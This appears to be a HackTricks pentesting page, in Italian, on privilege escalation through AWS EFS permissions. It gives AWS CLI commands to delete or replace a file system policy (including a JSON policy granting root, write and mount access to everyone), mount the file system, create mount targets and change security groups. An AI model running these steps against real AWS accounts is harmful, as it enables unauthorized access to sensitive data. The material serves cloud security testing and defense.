AWS - EFS Privesc

Supporta HackTricks

EFS

Ulteriori informazioni su EFS in:

AWS - EFS Enum

Ricorda che per montare un EFS devi trovarsi in una subnet dove l'EFS è esposto e avere accesso ad esso (gruppi di sicurezza). Se ciò accade, per impostazione predefinita, sarai sempre in grado di montarlo, tuttavia, se è protetto da policy IAM, è necessario disporre dei permessi aggiuntivi menzionati qui per accedervi.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Con uno qualsiasi di questi permessi un attaccante può modificare la policy del file system per concederti l'accesso ad esso, o semplicemente eliminarlo in modo che sia concesso l'accesso predefinito.

Per eliminare la policy:

aws efs delete-file-system-policy \
--file-system-id <value>

Per cambiarlo:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Con questa autorizzazione un attaccante sarà in grado di montare l'EFS. Se l'autorizzazione di scrittura non è data per default a chiunque possa montare l'EFS, avrà solo accesso in lettura.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Le autorizzazioni aggiuntive elasticfilesystem:ClientRootAccess e elasticfilesystem:ClientWrite possono essere utilizzate per scrivere all'interno del filesystem dopo che è stato montato e per accedere a quel filesystem come root.

Impatto potenziale: Escalation dei privilegi indiretta individuando informazioni sensibili nel filesystem.

elasticfilesystem:CreateMountTarget

Se un attaccante si trova all'interno di una sottorete dove nessun mount target dell'EFS esiste, potrebbe semplicemente crearne uno nella sua subnet con questo privilegio:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Impatto Potenziale: Escalation di privilegi indiretta individuando informazioni sensibili nel sistema di file.

elasticfilesystem:ModifyMountTargetSecurityGroups

In uno scenario in cui un attaccante scopre che l'EFS ha un mount target nella sua sotto-rete ma nessun security group permette il traffico, potrebbe semplicemente modificare ciò modificando i security group selezionati:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Impatto Potenziale: Privesc indiretto individuando informazioni sensibili nel file system.

Sostieni HackTricks

Last updated